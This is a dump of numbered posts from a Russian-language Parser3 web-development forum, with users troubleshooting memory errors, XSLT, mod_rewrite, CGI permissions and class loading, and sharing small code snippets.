"54314","ищите, где у вас прописан относительный путь (../../chto/to/tam) - там и поломалось."
"54315","В конец метода добавляю строку:\
^erusage:compact[]\
\
Получаю 500 error:\
Premature end of script headers: /usr/local/parser/parser3.cgi\
parser3.cgi in free(): warning: junk pointer, too high to make sense\
\
Что это значит, и как с этим бороться?"
"54316","а если попробовать написано ^memory:compact[]?"
"54317","C ^memory:compact[] получилось то же самое.\
У меня там память расходуется в бешеных количествах, и я попробовал просто урезать выборку.\
При новых условиях с ^memory:compact[] всё заработало, а ^erusage:compact[] так и выдаёт ошибку...\
\
А когда я ещё сильнее выборку урезал, ошибка пропала."
"54319","разницы в вышеприведённых строчках никакой.\
совсем.\
\
откуда бы такое подозрение?"
"54320","спасибо уходит to: \
Алексей Сорокин\
Владимир Муров\
\
которые были бесконечно со мной терпеливы на протяжении года и 6и проходов вычитки."
"54321","теперь см. после слов \"если не поможет\""
"54322","Только странно что всё работало до того момента, пока рабочий день не кончился :)\
\
Скрипт, который вызывает ошибку, формирует монструозный XML.\
Я его собирал вложенными menu, а тут вдруг решил через XSLT действовать. Тут у меня всё и посыпалось. XML память уж очень жрёт.\
\
И ошибка эта вдруг выскочила - ни с того ни с сего...\
Даже и не знаю что делать теперь. Возвращаться к прежнему варианту не очень хочется."
"54323","так вы разделяете на два простых и понятных потом читателю вашего кода шага.\
\
если бы вашу задачу можно было перефразировать в\
[i]нужно обрабатывать данные из разрозненных баз, я придумал собрать всё в универсальный XML, потом отдать на XSLT[/i]\
тогда могу предложить упростить промежуточный XML.\
сделать его плоским.\
а на XSLT стадии воспользоваться <xsl:key/> для ускорения lookups."
"54324","вы на начало адреса смотрите, а не на конец."
"54325","и ловить это, увы, очень трудно.\
идеал: bug.zip\
\
полагаю, вам не легче, что вы [url=\"http://www.parser.ru/forum/?terms=junk&author=&doSearch=1\"]первый[/url]."
"54326","это флуктуации распределения кусочков в памяти.\
можно опять включить перестраховочный режим работы с libxml, однако очень не хочется (опять сильно возрастёт расход памяти).\
\
core есть? может хоть от неё будет толк...\
если есть, пожалуйста, пришлите core+ваш бинарник parser."
"54327","когда будете описывать структуру, вам понадобится описать взаимосвязи и далее по списку.\
\
мы в Студии этот вопрос решали в общем виде, получился Imprimatur2.\
\
возможно, вам пригодится наблюдение: \"описание таблиц и взаимосвязей в общем виде\" уже придуман ряд форматов.\
посмотрите на XSD."
"54328","Вот только что случайно в папке /cgi-bin/ нашел файл parser3.cgi.core, который опять весил почти 500 мегов. Хотя сайт работает исправно.... что ж это может быть?"
"54329","Весь файл логов забит строками типа\
\
[Mon Jul  3 23:52:40 2006] /gbook/index.html?ind=4: post_size(7872) != content_length(15152) [<no type>]\
[Mon Jul  3 23:56:14 2006] out of memory (while expanding string)\
Mon Jul  3 23:56:14 2006] out of memory (while expanding string)\
Mon Jul  3 23:56:14 2006] out of memory (while expanding string)\
[Tue Jul  4 07:53:51 2006] /gbook/?ind=20: post_size(7858) != content_length(7903) [<no type>]"
"54330","PAF, скажите Вы не обрадуете поклонников parser3 возможностями использования XML Schema, XInclude вобщем тем, что уже реализовано в libxml.\
Хоть когда-нибудь, когда у вас появится время?"
"54331","лог выдаёт Premature end of script headers\
\
parser3.cgi\
-Права стоят 755\
-файл с сервера как и исходник весит 616кб\
-версия под ОС FreeBSD 6.1 стоит FreeBSD 6.1-RC\
\
.htaccess\
# Подключение Parser-а для всех .html-страниц \
AddHandler parser3-html .html\
Action parser3-html /cgi-bin/parser/parser3.cgi\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
Поиск по форуму не помог... из фака вроде всё попробывал\
В чём может быть ещё проблема... подскажите плииз!"
"54334","http://dev.mysql.com/doc/refman/4.1/en/fulltext-search.html:[quote]Any word that is too short is ignored. The default minimum length of words that are found by full-text searches is [b]four[/b] characters.[/quote]\
\
http://dev.mysql.com/doc/refman/4.1/en/fulltext-fine-tuning.html:[quote]The minimum and maximum lengths of words to be indexed are defined by the [b]ft_min_word_len[/b] and [b]ft_max_word_len[/b] system variables [...][/quote]"
"54335","[b]Задача.[/b]\
1. При заходе на главную, перенаправлять пользователя на /ru/\
2. Все ссылки вида /ru/about/ преобразовывать в /about/?lang=ru\
\
[b]Решение.[/b]\
[code]\
RewriteRule	^$		ru/		[N]\
RewriteRule	^(ru|en)/(.*)$	$2?lang=$1	[QSA,L]\
[/code]\
\
[b]Проблема.[/b]\
[quote]\
mod_rewrite: maximum number of internal redirects reached. Assuming configuration error. Use 'RewriteOptions MaxRedirects' to increase the limit if neccessary.\
[/quote]\
\
Если убрать первое правило, то все отлично работает. Кроме главной."
"54337","1. Все-таки проинспектировать и оптимизировать свой код\
2. Попросить хостеров запретить создание core файлов"
"54338","Я опять про класс авторизации... писал, что после третего клика, опять нужно вводить пароль.\
Ясное дело - что-то с куками произошло, удали где-то, или что-то другое...\
Просмотрел код... ни где куки я не удалял. Куков у меня сохраняется много! Может это и влияет?\
почему я так думаю? Пробую открывать через оперу, и всё работает на ура! В чём же дело? Убирать работу с куками и сохранять в базе параметры?\
\
На самом деле, вопрос задам так: есть ли ограничение на количество Cookie или на их длину?"
"54341","[quote]это флуктуации распределения кусочков в памяти.\
можно опять включить перестраховочный режим работы с libxml, однако очень не хочется (опять сильно возрастёт расход памяти).[/quote]\
\
Очень не хочется. У меня и так всё под потолком. Чуть что не так - out of memory...\
\
[quote]core есть? может хоть от неё будет толк...\
если есть, пожалуйста, пришлите core+ваш бинарник parser.[/quote]\
\
Попробую. Если конечно получится. Parser лежит не в моей директории, так что я, признаться, даже не знаю, есть ли у меня такая возможность.\
\
А может быть поможет более свежая версия? У меня сейчас 3.1.4"
"54343","с 3.1.4 изменений было [url=\"/news/\"]немало[/url], в том числе существенные изменения при работе с xml.\
\
некоторые конструкции (^table::load[], ^table::sql[], ^table.save[], ^var.inc(N), $var($var+1)) стали использовать меньше памяти.\
\
очень может быть что апгрейд решит вашу проблему.\
\
однако прочитайте список изменений, там есть пара небольших несовместимостей."
"54344","т.е. никаких item/subitem/subsub...\
\
[code]\
<metro-list>\
	<metro id=\"1\">\
		<name>Авиамоторная</name>\
		<building-list>\
			<building id=\"8503\" ...>\
				<street>Авиамоторная ул.</street>\
				...\
			</building>\
			...\
		</building-list>\
	</metro>\
	...\
</metro-list>\
[/code]\
\
и т.д. напишите вы xsl template для metro-list, metro, building-list, building и красота...\
\
ну не нравится мне не врезумительный xml в котором вроде есть всё, но чтобы понять что к чему относится - можно голову сломать."
"54345","А если апгрейд решит проблему, то обнаруженная ошибка всё ещё будет представлять интерес для разработчиков?"
"54346","Вынужден просить участников форума объяснить мне, как это сделать.\
В документации к Parser’у я об этом ничего не нашёл, хотя и смысла большого не вижу — локально-то у меня всё работает.\
А на сервере… С www.net.ru ответили: «Нет, к сожалению так не получится. Данный лог недоступен на нашем хостинге», и предложили скачать Денвер. Причём тут Денвер?.."
"54349","Что-то вроде\
[code]\
RewriteCond	%{REQUEST_URI}	/\
RewriteRule	^$		ru/		[N]\
\
RewriteCond	%{REQUEST_URI}	^(ru|en)/(.*)$\
\
RewriteRule	^(ru|en)/(.*)$	$2?lang=$1[R,L]\
[/code]"
"54350","- для языка \"по умолчанию\" нет никакого языкового префикса, т.е.:\
/press/ - на русском\
/en/press/ - на английском\
...\
\
соотв. в .htaccess такое правило по рерайту языков (имейте в виду, что из-за него в корне нельзя делать \"папки\" с путем длиной 2 символа):\
\
[code]\
RewriteCond %{REQUEST_URI} ^/([a-z]{2})/\
RewriteRule ^([a-z]{2})/(.*)	 /$2?lang=$1 [PT,QSA]\
[/code]\
\
далее ваши обычные рерайты, которые сработают после того, как будет выкушен и помещен в ?lang= языковой префикс..."
"54351","Вставлял я в .htaccess всё что мог, например:\
[code]RewriteLog /cgi-bin/rewrite.log[/code]\
Для rewrite.log, соответственно, установил разрешение на запись.\
Как не перебирал различные значения, результат один — сайт перестаёт работать: Internal Server Error."
"54352","И видим в описании RewriteLog следующее:\
[quote]Context: server config, virtual host[/quote]\
\
Отсюда вывод, что на вашем хостинге вы его не увидите..."
"54353","Может быть я не очень понятно выразился.\
Никаких item и subitem там нет. Про них я писал исключительно из соображений компактности.\
XML выглядит так:\
\
[code]<metro id=\"1\" name=\"Авиамоторная\">\
    <building id=\"8503\" agent=\"7\" frommetro=\"7\" type=\"3\" class=\"1\" firstline=\"1\" floors=\"3\">\
        <street>Авиамоторная ул.</street>\
        <square id=\"11660\" dogovor=\"2\" type=\"2\" floor=\"2\" guard=\"3\" mgts=\"2\" internet=\"2\" remont=\"3\">\
            <price all_price=\"825\" sp_price=\"450\" nds=\"1\" commun=\"1\"/>\
            <comission price=\"825\" comission_free=\"1\"/>\
            <planning sq=\"22\" type=\"3\" />\
        </square>\
    </building>\
</metro>[/code]\
\
Он конечно не столь человечен как Ваш, но и не настолько уж жЫвотен."
"54354","Хочу вставить кусок кода написанного на javascript (это счетчик HotLog).\
<script type=\"text/javascript\" language=\"javascript\">\
hotlog_js=\"1.0\";\
hotlog_r=\"\"+Math.random()+\"&s=380762&im=34&r=\"+escape(document.referrer)+\"&pg=\"+\
escape(window.location.href);\
document.cookie=\"hotlog=1; path=/\"; hotlog_r+=\"&c=\"+(document.cookie?\"Y\":\"N\");\
</script>\
<script type=\"text/javascript\" language=\"javascript1.1\">\
hotlog_js=\"1.1\";hotlog_r+=\"&j=\"+(navigator.javaEnabled()?\"Y\":\"N\")\
</script>\
<script type=\"text/javascript\" language=\"javascript1.2\">\
hotlog_js=\"1.2\";\
hotlog_r+=\"&wh=\"+screen.width+'x'+screen.height+\"&px=\"+\
(((navigator.appName.substring(0,3)==\"Mic\"))?\
screen.colorDepth:screen.pixelDepth)</script>\
<script type=\"text/javascript\" language=\"javascript1.3\">hotlog_js=\"1.3\"</script>\
<script type=\"text/javascript\" language=\"javascript\">hotlog_r+=\"&js=\"+hotlog_js;\
document.write(\"<a href='http://click.hotlog.ru/?380762' target='_top'><img \"+\
\" src='http://hit18.hotlog.ru/cgi-bin/hotlog/count?\"+\
hotlog_r+\"&' border=0 width=88 height=31 alt=HotLog><\\/a>\")\
</script>\
<noscript>\
<a href=\"http://click.hotlog.ru/?380762\" target=\"_top\"><img src=\"http://hit18.hotlog.ru/cgi-bin/hotlog/count?s=380762&amp;im=34\" border=0 \
 width=88 height=31 alt=\"HotLog\"></a>\
</noscript>\
Парсер выдает ошибку:method of MAIN (MAIN) accepts maximum 3 parameter(s)  type: parser.runtime\
 Как осуществить вставку этого скрипта."
"54355","[quote]...собрать всё в универсальный XML, потом отдать на XSLT\
тогда могу предложить упростить промежуточный XML.\
сделать его плоским.[/quote]\
\
Вот в этом и состоит главный вопрос.\
Класс отдаёт некий XML. Делать его плоским, или древовидным? В любом случае его потом XSLT'ить... Только ведь древовидный преобразовывать быстрее?\
А вот внутри класса его можно сначала собрать в плоский, а потом преобразовать в древовидный с помощью XSLT (вместо вложенных menu).\
Или это я уже совсем заизвращался?"
"54362","Не могли бы Вы немного развернуть свой ответ? :)\
Почему Вы так считаете?"
"54363","Вызываю последовательно методы:\
\
[code]\
@CLASS\
menu\
...\
@position_form[]\
^if($form:id && $form:position && $form:movedirect){\
$m[^GetMoveUp[$form:movedirect; $form:position]]\
\
$idFromQuery[$m.id]\
$positionFromQuery[$m.position]\
\
^SavePosition[$form:id; $positionFromQuery]\
^SavePosition[$idFromQuery; $form:position]\
}[/code]\
\
\
[code]\
@CLASS\
db\
.....\
\
@GetMoveUp[movedirect;position]\
^dbconnect{\
$result[^table::sql{SELECT id, position FROM menu WHERE position<$position ORDER BY position DESC}]\
}[/code]\
\
[code]\
@SavePosition[id;position]\
^dbconnect{\
$result[^void:sql{UPDATE menu SET position='$position' WHERE id=$id}]\
	}[/code]\
\
В результате в БД записывает но при этом выдает ошибку  что Id пустой\
UPDATE menu SET position='1' WHERE id=\
\
что я зделал не так уже второй день конетелюсь всю доку перечитал"
"54364","и вызывать его потом:\
[code]<script language=\"JavaScript\" src=\"/scripts/script.js\" type=\"text/javascript\"></script>[/code]"
"54365","Код:[code]@GetMoveUp[movedirect;position]\
^dbconnect{\
$result[^table::sql{SELECT id, position FROM menu WHERE position<$position ORDER BY position DESC}]\
}[/code]\
Может возвращать NULL, т.к. не определено значение по умолчанию \
[code][$.default{0}][/code]"
"54366","Мне кажется что давно уже назрела необходимость в толковом FAQ по работе с памятью.\
\
Вопросов возникает много, а ответы на них вовсе не очевидны (особенно для непрофессиональных программистов).\
\
\
[quote]\"На Parser могут работать далеко не профессиональные программисты. Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.\"[/quote]"
"54367","Объясните, пожалуйста...\
\
Есть метод create - конструктор класса\
А есть ли деструктор?\
Можно ли уничтожить экземпляр класса, когда он уже не нужен?\
И как освободить память, которую он занимает?\
Или это не требуется?\
А если не требуется, то почему?"
"54368","В логе больше ничего?\
Ошибка для всех страниц, или для какой-то конкретной?"
"54370","1. нету\
\
2. нет, однако обратиться к нему вы не сможете, если объект создан локально и вы вышли из метода или если вы создали другую переменную/объект с таким именем\
\
3. если объект больше не используется то занимаемая им память может быть собрана с помощью вызова ^memory:compact[]\
\
4. обычно не требуется\
\
5. потому что обычно скрипт создав страницу заверщает свою работу"
"54371","[quote]если объект больше не используется то занимаемая им память может быть собрана с помощью вызова ^memory:compact[][/quote]\
\
Но прежде чем память собирать, переменную, например, обнуляют. Как обнулить созданный объект?"
"54372","в моем первом посте есть ответ на этот вопрос.\
\
однако вы уверены что после того как на объект не будет ссылок ни одна из его частей не будет больше использована и память сможет быть освобождена?\
\
например вы создали объект-таблицу (загрузили из файла, sql...), затем нашли в ней одну строку и содержимое одной колонки этой строки записали куда-либо (в создаваемую вами страницу).\
\
так что оптимизировать код (если до этого дошло) можно не только с попыток сбора мусора (а для этого достаточно объявлять переменные локальными и в критических местах вызывать разово ^memory:compact[]) но и использованием эффективных алгоритмов (не использовать * в запросах, загружать минимум данных, не делать огромных циклов, не злоупотреблять рекурсией, не злоупотреблять медленный ^memory:compact[] и т.д.)"
"54374","Давно хотел спросить - есть ли разница в выборке всех столбцов таблицы при использовании \"SELECT * \" и \"SELECT all, columns, names\"?"
"54376","Загружаемый на хостинг файл ( через mce ) получает разрешение 644 и сохраняется в каталог.\
\
На парсере написан файловый менеджер, но parser не может прочитать загруженный файл мотивируя это так:\
\
'/home/design/public_html/content//1_1.png' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/home/design/public_html/content//1_1.png', fuid(65534)!=euid(2257) or fgid(65534)!=egid(2258) [parser.runtime] \
\
Что можно с этим сделать ?"
"54377","извиняюсь... ошибку нашёл поиском... cuteftp бинарный режим включать ручками нада..."
"54378","Кто пользуется в последнее время этим хостом? какие отзывы? как хорошо работает Parser? Подбираю для сайта хостинг с поддержкой Parser. Нужена возможность работы с MySQL, как с этим обстоит дело?"
"54379","Возникли сложности при запуске Parsera на хостинге от RBC. Есть ли у кого-то подобный опыт, поделитесь, пожалуйства."
"54381","изложите проблему в чём произошёл затык?\
\
Прежде чем отвечать не обремените себя воспользоваться поиском. Подобных тем там предостаточно."
"54383","Тут уже много было про подсветку для DW, но так ни чего и не сделали, вроде... Хотел просто узнать, может кто-то всё-таки сделал??? Просто давно эта тема уже обсуждалалсь..."
"54384","[code]@position_form[]\
^if($form:id && $form:position && $form:movedirect){\
$m[^GetMoveUp[$form:movedirect; $form:position]]\
^if($m){\
	$idFromQuery[$m.id]\
	$positionFromQuery[$m.position]\
\
	^SavePosition[$form:id; $positionFromQuery]\
	^SavePosition[$idFromQuery; $form:position]\
}[/code]"
"54386","Дело в том, что dreamweaver глючит с кирилицей. если только явно не прописать\
[code]<meta http-equiv=\"Content-Type\" content=\"text/html; charset=WINDOWS-1251\">[/code]\
Я пробовал в нем работать - намучился... хотя, очень хотелось."
"54387","[quote]Делать его плоским, или древовидным? В любом случае его потом XSLT'ить... Только ведь древовидный преобразовывать быстрее?\
[/quote]\
проще и удобнее. Главное, понтнее его читать, при отладке.\
\
Хотя, здесь есть один тонкий момент...\
Представим такую ситуацию:\
вам нужно выбрать не все элементы [b]metro[/b], а только часть. Соответственно, вложенные элементы [b]building[/b] и др. тоже будут не все.\
\
Если делать все отдельными процедурами выборки, то к базе будет 3 (или сколько там таблиц) последовательных запроса вида:\
[code]\
SELECT\
	id,\
	...\
FROM\
	metro\
WHERE\
	id IN (....)\
[/code]\
\
Если делать вложенными запросами - их будут целая куча.\
\
Однако, делать промежуточное преобразование тоже IMHO не выход.\
\
Есть, конечно вариант формирования конечного дерева с помощью сирии вложенных выборок-запросов из уже сформированных плоских таблиц\
[code]^таблица.select(критерий_отбора)[/code]....\
\
Хотя, никто не мешает сделать оба варианта по выбору пользователя. Как показывает практика, пока не \"погоняешь\" код пару дней не разберешься нравиться он или нет..."
"54389","Кинул в папку /www/cgi-bin/parser3 в которой freebsd версию парсера + файлы с кодировками + auto.p стандартного содержания. \
\
Поставил на parser3.cgi права 755.\
\
в /www/htdocs/.htaccess \
\
Options +Includes +FollowSymLinks -Indexes\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3/parser3.cgi\
\
#Не даём плохим дядям читать .cfg и .p файлы:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
#Файл по умолчанию:\
DirectoryIndex index.html\
\
При вызове тестовой страницы сервер выдает:\
\
You don't have permission to access / on this server.\
\
В чем может быть затык? Где искать причину?"
"54390","[b]findstr\
undefined method[/b]\
\
Parser/3.1.4 (compiled on i386-pc-win32)\
\
как же мне найди подстроку в строке?\
пример:\
[code]\
^findstr[$str1;$str2]\
[/code]"
"54391","сам нашёл\
\
[code]\
$str[полигон] \
^str.pos[гон] \
[/code]"
"54392","а что в index.html ?"
"54393","Класс формирует XML-дерево из SQL-таблицы. Может пригодиться при построении структуры сайта, форума и т.д. Класс основан на немного доработанных классах [b]tree[/b] и [b]sections[/b] от egr.\
\
Для работы класса необходимо:\
- [b]Классы для работы с MySQL[/b] ([url=\"http://www.parser.ru/f/1/examples/comp/sql.zip\"]http://www.parser.ru/f/1/examples/comp/sql.zip[/url])\
- [b]Класс авторизации[/b] (если нужен контроль доступа к разделам [url=\"http://www.parser.ru/f/1/examples/auth/auth.zip\"]http://www.parser.ru/f/1/examples/auth/auth.zip[/url]).\
\
Для последнего сделан специальный дочерний класс [b]myauth.p[/b], который возможность работы базового класса с несколькими таблицами.\
\
Класс [b]tree[/b] работает с древовидными таблицами вида:\
[code]\
CREATE TABLE table (\
	id int(10) unsigned NOT NULL auto_increment,\
	parent_id int(10) unsigned NOT NULL default '0',\
	thread_id int(10) unsigned NOT NULL default '0',\
	sorting int(10) unsigned default '0',\
	is_published tinyint(3) unsigned NOT NULL default '1',\
	rights int(11) NOT NULL default '0',\
	KEY id (id)\
) TYPE=MyISAM;\
\
\
CREATE TABLE table_locale (\
	id int(11) NOT NULL default '0',\
	lang varchar(10) NOT NULL default 'ru',\
	title varchar(50) NOT NULL default '',\
	descr text,\
	key_words varchar(255) default NULL,\
	content text,\
	PRIMARY KEY  (id,lang)\
) TYPE=MyISAM;\
[/code]\
\
\
т.е. парой из основной таблицы дерева и таблицы данных (для различных языков).\
Если язык всего один, то можно закомментировать в классе условие:\
[code]lang = '$lang'[/code]\
\
Пример работы классы есть в архиве - [url=\"http://parser.proc.ru/iso/2006-07-07-tree.zip\"]http://parser.proc.ru/iso/2006-07-07-tree.zip[/url]."
"54394","Пытаюсь настроить класс авторизации. Все подключается замечательно и работает из каталога /auth/\
\
Так подключаю классы в файле /auth/auto.p\
\
@USE\
/_classes/lib.p\
/_classes/sql.p\
/_classes/mysql.p\
/auth/auth.p\
\
В корневом auto.p прописано:\
\
@auto[]\
$CLASS_PATH[/_classes]\
\
До этого момента все работает хорошо. НО! Я попробовал сделать. чтобы форма авторизации (логин/пассворд) работала с каждой страницы, а не только из директории /auth/\
\
Для этого в /auto.p прописал:\
---------------\
@USE\
/_classes/lib.p\
/_classes/sql.p\
/_classes/mysql.p\
/auth/auth.p\
\
@auto[]\
$CLASS_PATH[/_classes]\
\
----------\
\
Парсер начинает ругаться, что не может подключить sql.p и иже с ними: \
sql.p\
usage failed - no $MAIN:CLASS_PATH were specified\
\
Как понимаю, строка $CLASS_PATH[/_classes] прописана позже @USE и пасрер не находит $MAIN:CLASS_PATH\
\
Меняю местами:\
\
-------------------\
@auto[]\
$CLASS_PATH[/_classes]\
\
@USE\
/_classes/lib.p\
/_classes/sql.p\
/_classes/mysql.p\
/auth/auth.p\
-------------------\
\
Результат - тот же. :( \"usage failed - no $MAIN:CLASS_PATH were specified\"\
\
А когда в корневом auto.p прописано только \
@auto[]\
$CLASS_PATH[/_classes]\
\
И в /auth/auto.p\
\
@USE\
/_classes/lib.p\
/_classes/sql.p\
/_classes/mysql.p\
/auth/auth.p\
\
Все работает. Но, опять же, из одной директории - /auth\
\
Как это все дело подключить? Где все-таки ошибаюсь?\
\
P.S. После @USE во всех случаях нет ни лишних пробелов, ни табов. После @USE и @auto[] идет @main[]"
"54396","а про то о чем вы упоминаете спрашивают не часто (и главное в форуме ищут не часто, я периодически смотрю лог поисковых запросов и пополняю FAQ)."
"54398","... но использовать конфигурационный auto.p по назначению (хранить там настройки характеризующие конфигурацию конкретного сервера) - хорошая практика.\
\
мне понравилось, т.к. весь код в www и classes оказывается переносимым и просто копируется с сервера разработки на хостинг и обратно. без каких либо правок."
"54402","P.S. ну я знаю конечно выход (^use[/../config.p]) но мне он не нравится, учитывая факт что для этого специально задумывался конфигурационный auto.p\
\
P.P.S. интересно, у \"ножика\" все так-же обстоит?"
"54404","Да вот мне тоже не нравится. Насколько я знаю в ножике тоже самое.\
\
З.Ы. сам юзаю просто апач с несколькими копиями cgi версий парсера (сам знаю, что плохо, но мне так удобнее)"
"54405","ну написал я в корневом auto.p параметры подключения к БД, а потом как копировать на хостинг? скопировал и сразу править на настоящее? и это по вашему есть хорошо? по моему это плохо.\
\
а по поводу CLASS_PATH - так @USE в корневом auto.p не будет работать тогда.\
\
P.S. ладно, это уже off-topic, завязываю..."
"54406","Я установил парсер, всё прекрасно работало...\
.htaccess был взят с сайта, поэтому доступ к .cfg файлам был закрыт.\
В скрипте я как раз использовал этот файл... я полез менять права в нём и вдруг всё полетело. Ошибку я уже потом понял! Но работоспособность парсера установить не удалось. Я всё сносил, пытался заново настроить, но тщетно...\
\
Вот логи ошибок:\
[2006-07-07 15:16:01]: error: file is writable by others: (/home/foofspb/public_html/cgi-bin/parser3.cgi)\
[2006-07-07 14:10:52]: error: file has no execute permission: (/home/foofspb/public_html/cgi-bin/parser3.cgi)\
[Fri Jul  7 15:26:34 2006] [error] [client 195.131.165.90] File does not exist: /home/foofspb/public_html/500.shtml\
[Fri Jul  7 15:26:34 2006] [error] [client 195.131.165.90] Premature end of script headers: /home/foofspb/public_html/cgi-bin/parser3.cgi\
\
parser3.cgi :\
права 755\
закачка в бинари\
\
.htaccess :\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .p файлам:\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
\
\
\
В чём проблема? ведь до этого всё работало..."
"54407","Но так по крайней мере можно работать особо не напрягаясь.\
\
Ну а, use только как ^use[], это да..."
"54409","всмысле?\
\
Но ведь если посмотреть на то как оборвался парсер у меня...\
Каки могут быть возможные проблемы?\
\
Менеджер файлов на моём хостинге показывает 755..."
"54410","в .htaccess в папке www своего проекта прописываете:\
[code]\
SetEnv CGI_PARSER_CONFIG /home/com/www/conf/auto.p[/code]\
\
А в концигурационном файле по этому адресу:\
[code]\
@conf[filespec]\
\
$CHARSETS[\
    $.koi8-r[/usr/local/parser3/parser3.charsets/koi8-r.cfg]\
    $.windows-1251[/usr/local/parser3/parser3.charsets/windows-1251.cfg]\
]\
\
$CLASS_PATH[^table::create{path\
/classes\
/classes/operators\
/classes/common\
/classes/components}]\
[/code]\
\
Хотя, можно потупить проще - прописать все в корневом файле auto.p для данного файла:\
[code]\
@auto[]\
\
$CLASS_PATH[^table::create{path\
/classes\
/classes/operators\
/classes/common\
/classes/components}]\
[/code]"
"54411","SunOS 5.8\
\
Собрал Parser3.1.3 и библиотеку mysql без проблем.\
\
При попытке ^connect вылазит это:\
\
./lib/libparser3mysql.so\
ld.so.1: parser3: fatal: relocation error: file ./lib/libparser3mysql.so: symbol __gxx_personality_v0: referenced symbol not found\
\
В чем может быть проблема?"
"54412","А я вызываю непосредственно тестовую страницу, скаченную с сайта parser.ru"
"54413","Даже при переименовании этой страницы в index.html сервер выдает ту же ошибку\
You don't have permission to access /cgi-bin/parser3/parser3.cgi/index.html on this server."
"54414","логи выглядят так:\
[Fri Jul  7 19:02:23 2006] [error] [client 195.131.165.90] File does not exist: /home/foofspb/public_html/500.shtml\
[Fri Jul  7 19:02:23 2006] [error] [client 195.131.165.90] Premature end of script headers: /home/foofspb/public_html/cgi-bin/parser3.cgi\
\
Размер файла такой же как и на моём компе\
права 755\
\
В чём проблема не понимаю!"
"54415","parser 2.1 не пашет\
parser 1.6 работает =)\
\
в чём трабл?"
"54416","Существуют ли реализации Mod_Rewrite и Cron под IIS ? Если не сложно, дайте ссылочки."
"54418","мы сами пока, увы, не прониклись этим."
"54419","поскольку и версия libxml тоже менялась, насколько я помню.\
нас интересуют только актуальные ошибки."
"54420","есть в отношении к читателю.\
тот, кто пишет [code]select * from ...[/code] читателя своего любит мало.\
тот, кто пишет [code]select field1,field2,field3 from ...[/code] к читателю относится получше.\
\
потом при репликации есть тонкости.\
в реплицируемые mssql/access таблицы кладутся дополнительные столбцы, которые по * поднимутся, а никому не нужны."
"54421","и взять на себя ответственность за это решение.\
\
мы их продолжаем компилировать и выкладывать в обычное(воспользуйтесь поиском по форуму) место."
"54422","http://your-server/cgi-bin/parser3/parser3.cgi\
\
что отвечает?\
что в журнал пишет?"
"54423","у вас проявилась та проблема, о которой тут уже писали:\
libgc при запуске падает.\
\
чтобы рассмотреть ошибку подробнее попробуйте сделать так\
http://www.parser.ru/forum/?id=15219"
"54424","1. перепроверьте, что libparser3mysql которая подключается, это точно собранная вами, а не старая\
2. попробуйте у configure добавить --with-dynamic-stdcpp"
"54428","Вроде глючок нашел...\
\
поле ввода после ввода имеет переводы строки (%0D%0A). Так вот, после отправки они пеобразуются в эти коды! Когда внутри своего обработчика, например _js_http_request_load.html, пытаюсь вывести значение переменной , то получаю коды переводов строки и т.д. в текстовом виде... таким образом, появляются коды не только %0D%0A, но ещё и другие коды, например %09.\
\
Хотел узнать, может ли кто-нибудь помочь исправить класс... Думаю просто замена %0D%0A и т.д. на соответствующие коды - это не правильно, так как это может где-нибудь в тексте встречаться... например, фраза \" Коды %0D%0A обозначают перевод строки\"."
"54429","По мере увеличения количества объектов появляется желание избежать ручного труда при создании интерфейсов добавления/изменения экземпляров этих объектов, хранимых в базе данных.\
\
Сам я додумался лишь до создания в каждом классе методов create/load/save и метода, содержащего описания свойств экземпляра объекта.\
\
[code]@describe[]\
# field - название поля\
# type - string, text, int, double, date, sqldate, название другого класса (в этом случае можно\
#        вызвать ^другой_класс::load[значение_поля] и получить объект)\
#        Допускается несколько типов через запятую.\
# title - человеческое название поля\
# null - может быть пустым\
# comment - комментарий\
# conventions - инструкция по заполнению\
$result[^table::create{field	type	title	null	comment	conventions\
supplier	company	Поставщик	yes\
owner	company,person	Владелец\
name	text	Наименование			<a href=\"/conventions/hardware/name.htm\">инструкция по заполнению</a>\
buyed	sqldate	Дата покупки\
warranty	sqldate	Гарантийный срок\
serial	string	Серийный номер	yes\
comments	string	Примечание\
computer	servers	Установлено в	yes\
storage_company	company	Передано на хранение	yes\
storage_document	string	на основании	yes}][/code]\
\
И сделал класс с методом, формирующий форму редактирования [i](осторожно, некрасивый код)[/i]:\
[code]@showform[data;description][field;classes;fieldshown] Отображение формы редактирования объекта\
\
^description.menu{\
	$field[$description.field]\
	<tr><td class=\"caption\">$description.title\
		^if(def $description.conventions){<br />$description.conventions}\
	</td>\
	<td>\
	^switch[$description.type]{\
		^case[string;int;sqldate]{\
			<input name=\"$field\" value=\"$data.$field\" />\
		}\
		^case[text]{\
			<textarea style=\"width:100%\" name=\"$field\">$data.$field</textarea>\
		}\
		^case[DEFAULT]{\
			^rem{ *** вероятно, это поле пользовательского класса *** }\
			$classes[^description.type.split[,]]\
			$fieldshown(0)\
\
			^rem{ *** если класс только один или у нас есть значение, то все просто *** }\
			^if(^classes.count[] == 1 || def $data.$field){\
				^classes.menu{\
					^try{\
						^editables:input[$classes.piece;$field;$data.$field]\
						$fieldshown(1)\
					}{\
						^if($exception.type eq editables.badclass){\
							^rem{ *** нельзя такой класс редактировать *** }\
							<strong>Неизвестный тип параметра $classes.piece</strong>\
							$exception.handled(1)\
						}\
					}\
				}\
			}{\
				^rem{ *** в противном случае нужно сначала предложить сделать выбор класса *** }\
				^if(!def \"$form:class$field\"){\
					<select name=\"class$field\">\
					^classes.menu{\
						<option>$classes.piece</option>\
					}\
					</select>\
					<input type=\"submit\" name=\"setClass\" value=\"...\" />\
				}{\
					$form:class$field\
					<input type=\"hidden\" name=\"class$field\" value=\"$form:class$field\" />\
					^editables:input[$form:class$field;$field;$data.$field]\
				}\
				$fieldshown(1)\
			}\
\
			^if($fieldshown == 0){\
				<input name=\"$description.field\" value=\"$data.$field\" />\
			}\
		}\
	}\
	</td>\
	</tr>\
}[/code]\
\
^editables:input - вызывает метод input класса, соответствующего полю заданного нестандартного типа, имя которого передается первым параметром, а уже этот метод формирует html-код, специфичный для поля заданного типа.\
\
